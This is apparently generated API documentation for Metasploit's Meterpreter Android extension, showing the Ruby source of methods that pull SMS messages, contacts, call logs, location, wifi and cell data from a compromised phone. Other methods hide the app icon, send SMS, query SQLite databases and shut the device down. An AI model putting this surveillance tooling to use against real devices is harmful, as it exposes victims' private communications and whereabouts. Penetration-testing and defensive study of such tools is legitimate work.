Class: Rex::Post::Meterpreter::Extensions::Android::Android

Inherits:
Rex::Post::Meterpreter::Extension show all
Defined in:
lib/rex/post/meterpreter/extensions/android/android.rb

Overview

Android extension - set of commands to be executed on android devices. extension by Anwar Mohamed (@anwarelmakrahy)

Constant Summary collapse

COLLECT_TYPE_WIFI =
1
COLLECT_TYPE_GEO =
2
COLLECT_TYPE_CELL =
3
COLLECT_ACTION_START =
1
COLLECT_ACTION_PAUSE =
2
COLLECT_ACTION_RESUME =
3
COLLECT_ACTION_STOP =
4
COLLECT_ACTION_DUMP =
5
COLLECT_TYPES =
{
  'wifi' => COLLECT_TYPE_WIFI,
  'geo'  => COLLECT_TYPE_GEO,
  'cell' => COLLECT_TYPE_CELL,
}
COLLECT_ACTIONS =
{
  'start'  => COLLECT_ACTION_START,
  'pause'  => COLLECT_ACTION_PAUSE,
  'resume' => COLLECT_ACTION_START,
  'stop'   => COLLECT_ACTION_STOP,
  'dump'   => COLLECT_ACTION_DUMP
}

Instance Attribute Summary

Attributes inherited from Rex::Post::Meterpreter::Extension

#client, #name

Class Method Summary collapse

Instance Method Summary collapse

Constructor Details

#initialize(client) ⇒ Android

Returns a new instance of Android.



50
51
52
53
54
55
56
57
58
59
60
61
62
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 50

def initialize(client)
  super(client, 'android')

  # Alias the following things on the client object so that they
  # can be directly referenced
  client.register_extension_aliases(
    [
      {
        'name' => 'android',
        'ext'  => self
      }
    ])
end

Class Method Details

.extension_idObject



46
47
48
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 46

def self.extension_id
  EXTENSION_ID_ANDROID
end

Instance Method Details

#activity_start(uri) ⇒ Object



261
262
263
264
265
266
267
268
269
270
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 261

def activity_start(uri)
  request = Packet.create_request(COMMAND_ID_ANDROID_ACTIVITY_START)
  request.add_tlv(TLV_TYPE_URI_STRING, uri)
  response = client.send_request(request)
  if response.get_tlv(TLV_TYPE_ACTIVITY_START_RESULT).value
    return nil
  else
    return response.get_tlv(TLV_TYPE_ACTIVITY_START_ERROR).value
  end
end

#check_rootObject



249
250
251
252
253
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 249

def check_root
  request = Packet.create_request(COMMAND_ID_ANDROID_CHECK_ROOT)
  response = client.send_request(request)
  response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value
end

#collect_actionsObject



64
65
66
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 64

def collect_actions
  return @@collect_action_list ||= COLLECT_ACTIONS.keys
end

#collect_typesObject



68
69
70
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 68

def collect_types
  return @@collect_type_list ||= COLLECT_TYPES.keys
end

#device_shutdown(n) ⇒ Object



72
73
74
75
76
77
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 72

def device_shutdown(n)
  request = Packet.create_request(COMMAND_ID_ANDROID_DEVICE_SHUTDOWN)
  request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n)
  response = client.send_request(request)
  response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value
end

#dump_calllogObject



232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 232

def dump_calllog
  log = []
  request = Packet.create_request(COMMAND_ID_ANDROID_DUMP_CALLLOG)
  response = client.send_request(request)

  response.each(TLV_TYPE_CALLLOG_GROUP) do |p|
    log << {
      'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value),
      'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value),
      'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value),
      'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value),
      'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value)
    }
  end
  log
end

#dump_contactsObject



204
205
206
207
208
209
210
211
212
213
214
215
216
217
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 204

def dump_contacts
  contacts = []
  request = Packet.create_request(COMMAND_ID_ANDROID_DUMP_CONTACTS)
  response = client.send_request(request)

  response.each(TLV_TYPE_CONTACT_GROUP) do |p|
    contacts << {
      'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value),
      'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)),
      'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER))
    }
  end
  contacts
end

#dump_smsObject



187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 187

def dump_sms
  sms = []
  request = Packet.create_request(COMMAND_ID_ANDROID_DUMP_SMS)
  response = client.send_request(request)

  response.each(TLV_TYPE_SMS_GROUP) do |p|
    sms << {
      'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value),
      'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value),
      'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish,
      'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value),
      'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value)
    }
  end
  sms
end

#geolocateObject



219
220
221
222
223
224
225
226
227
228
229
230
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 219

def geolocate
  loc = []
  request = Packet.create_request(COMMAND_ID_ANDROID_GEOLOCATE)
  response = client.send_request(request)

  loc << {
    'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value),
    'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value)
  }

  loc
end

#hide_app_iconObject



255
256
257
258
259
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 255

def hide_app_icon
  request = Packet.create_request(COMMAND_ID_ANDROID_HIDE_APP_ICON)
  response = client.send_request(request)
  response.get_tlv_value(TLV_TYPE_ICON_NAME)
end

#interval_collect(opts) ⇒ Object



85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 85

def interval_collect(opts)
  request = Packet.create_request(COMMAND_ID_ANDROID_INTERVAL_COLLECT)
  request.add_tlv(TLV_TYPE_COLLECT_ACTION, COLLECT_ACTIONS[opts[:action]])
  request.add_tlv(TLV_TYPE_COLLECT_TYPE, COLLECT_TYPES[opts[:type]])
  request.add_tlv(TLV_TYPE_COLLECT_TIMEOUT, opts[:timeout])
  response = client.send_request(request)

  result = {
    headers:     [],
    collections: []
  }

  case COLLECT_TYPES[opts[:type]]
  when COLLECT_TYPE_WIFI
    result[:headers] = ['Last Seen', 'BSSID', 'SSID', 'Level']
    result[:entries] = []
    records = {}

    response.each(TLV_TYPE_COLLECT_RESULT_GROUP) do |g|
      timestamp = g.get_tlv_value(TLV_TYPE_COLLECT_RESULT_TIMESTAMP)
      timestamp = ::Time.at(timestamp).to_datetime.strftime('%Y-%m-%d %H:%M:%S')

      g.each(TLV_TYPE_COLLECT_RESULT_WIFI) do |w|
        bssid = w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_BSSID)
        ssid = w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_SSID)
        key = "#{bssid}-#{ssid}"

        if !records.include?(key) || records[key][0] < timestamp
          # Level is passed through as positive, because UINT
          # but we flip it back to negative on this side
          level = -w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL)
          records[key] = [timestamp, bssid, ssid, level]
        end
      end
    end

    records.each do |k, v|
      result[:entries] << v
    end

  when COLLECT_TYPE_GEO
    result[:headers] = ['Timestamp', 'Latitude', 'Longitude']
    result[:entries] = []
    records = {}

    response.each(TLV_TYPE_COLLECT_RESULT_GROUP) do |g|
      timestamp = g.get_tlv_value(TLV_TYPE_COLLECT_RESULT_TIMESTAMP)
      timestamp = ::Time.at(timestamp).to_datetime.strftime('%Y-%m-%d %H:%M:%S')

      g.each(TLV_TYPE_COLLECT_RESULT_GEO) do |w|
        lat = w.get_tlv_value(TLV_TYPE_GEO_LAT)
        lng = w.get_tlv_value(TLV_TYPE_GEO_LONG)
        result[:entries] << [timestamp, lat, lng]
      end
    end

  when COLLECT_TYPE_CELL
    result[:headers] = ['Timestamp', 'Cell Info']
    result[:entries] = []
    records = {}

    response.each(TLV_TYPE_COLLECT_RESULT_GROUP) do |g|
      timestamp = g.get_tlv_value(TLV_TYPE_COLLECT_RESULT_TIMESTAMP)
      timestamp = ::Time.at(timestamp).to_datetime.strftime('%Y-%m-%d %H:%M:%S')

      g.each(TLV_TYPE_COLLECT_RESULT_CELL) do |cell|

        cell.each(TLV_TYPE_CELL_ACTIVE_GSM) do |info|
          cid = info.get_tlv_value(TLV_TYPE_CELL_CID)
          lac = info.get_tlv_value(TLV_TYPE_CELL_LAC)
          psc = info.get_tlv_value(TLV_TYPE_CELL_PSC)
          info = sprintf("cid=%d lac=%d psc=%d", cid, lac, psc)
          result[:entries] << [timestamp, "GSM: #{info}"]
        end

        cell.each(TLV_TYPE_CELL_ACTIVE_CDMA) do |info|
          bid = info.get_tlv_value(TLV_TYPE_CELL_BASE_ID)
          lat = info.get_tlv_value(TLV_TYPE_CELL_BASE_LAT)
          lng = info.get_tlv_value(TLV_TYPE_CELL_BASE_LONG)
          net = info.get_tlv_value(TLV_TYPE_CELL_NET_ID)
          sys = info.get_tlv_value(TLV_TYPE_CELL_SYSTEM_ID)
          info = sprintf("base_id=%d lat=%d lng=%d net_id=%d sys_id=%d", bid, lat, lng, net, sys)
          result[:entries] << [timestamp, "CDMA: #{info}"]
        end

        cell.each(TLV_TYPE_CELL_NEIGHBOR) do |w|
          net = w.get_tlv_value(TLV_TYPE_CELL_NET_TYPE)
          cid = w.get_tlv_value(TLV_TYPE_CELL_CID)
          lac = w.get_tlv_value(TLV_TYPE_CELL_LAC)
          psc = w.get_tlv_value(TLV_TYPE_CELL_PSC)
          sig = w.get_tlv_value(TLV_TYPE_CELL_RSSI) * -1
          inf = sprintf("network_type=%d cid=%d lac=%d psc=%d rssi=%d", net, cid, lac, psc, sig)
          result[:entries] << [timestamp, inf]
        end

      end
    end
  end

  result
end

#send_sms(dest, body, dr) ⇒ Object



278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 278

def send_sms(dest, body, dr)
  request = Packet.create_request(COMMAND_ID_ANDROID_SEND_SMS)
  request.add_tlv(TLV_TYPE_SMS_ADDRESS, dest)
  request.add_tlv(TLV_TYPE_SMS_BODY, body)
  request.add_tlv(TLV_TYPE_SMS_DR, dr)
  if dr == false
    response = client.send_request(request)
    sr = response.get_tlv(TLV_TYPE_SMS_SR).value
    return sr
  else
    response = client.send_request(request, 30)
    sr = response.get_tlv(TLV_TYPE_SMS_SR).value
    dr = response.get_tlv(TLV_TYPE_SMS_SR).value
    return [sr, dr]
  end
end

#set_audio_mode(n) ⇒ Object



79
80
81
82
83
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 79

def set_audio_mode(n)
  request = Packet.create_request(COMMAND_ID_ANDROID_SET_AUDIO_MODE)
  request.add_tlv(TLV_TYPE_AUDIO_MODE, n)
  client.send_request(request)
end

#set_wallpaper(data) ⇒ Object



272
273
274
275
276
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 272

def set_wallpaper(data)
  request = Packet.create_request(COMMAND_ID_ANDROID_SET_WALLPAPER)
  request.add_tlv(TLV_TYPE_WALLPAPER_DATA, data)
  client.send_request(request)
end

#sqlite_query(dbname, query, writeable) ⇒ Object



309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 309

def sqlite_query(dbname, query, writeable)
  request = Packet.create_request(COMMAND_ID_ANDROID_SQLITE_QUERY)
  request.add_tlv(TLV_TYPE_SQLITE_NAME, dbname)
  request.add_tlv(TLV_TYPE_SQLITE_QUERY, query)
  request.add_tlv(TLV_TYPE_SQLITE_WRITE, writeable)
  response = client.send_request(request, 30)
  error_msg = response.get_tlv(TLV_TYPE_SQLITE_ERROR)
  raise "SQLiteException: #{error_msg.value}" if error_msg

  unless writeable
    result = {
      columns: [],
      rows: []
    }
    data = response.get_tlv(TLV_TYPE_SQLITE_RESULT_GROUP)
    unless data.nil?
      columns = data.get_tlv(TLV_TYPE_SQLITE_RESULT_COLS)
      result[:columns] = columns.get_tlv_values(TLV_TYPE_SQLITE_VALUE)
      data.each(TLV_TYPE_SQLITE_RESULT_ROW) do |row|
        result[:rows] << row.get_tlv_values(TLV_TYPE_SQLITE_VALUE)
      end
    end
    result
  end
end

#wakelock(flags) ⇒ Object



335
336
337
338
339
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 335

def wakelock(flags)
  request = Packet.create_request(COMMAND_ID_ANDROID_WAKELOCK)
  request.add_tlv(TLV_TYPE_FLAGS, flags)
  client.send_request(request)
end

#wlan_geolocateObject



295
296
297
298
299
300
301
302
303
304
305
306
307
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 295

def wlan_geolocate
  request = Packet.create_request(COMMAND_ID_ANDROID_WLAN_GEOLOCATE)
  response = client.send_request(request, 30)
  networks = []
  response.each(TLV_TYPE_WLAN_GROUP) do |p|
    networks << {
      'ssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_SSID).value),
      'bssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_BSSID).value),
      'level' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_LEVEL).value)
    }
  end
  networks
end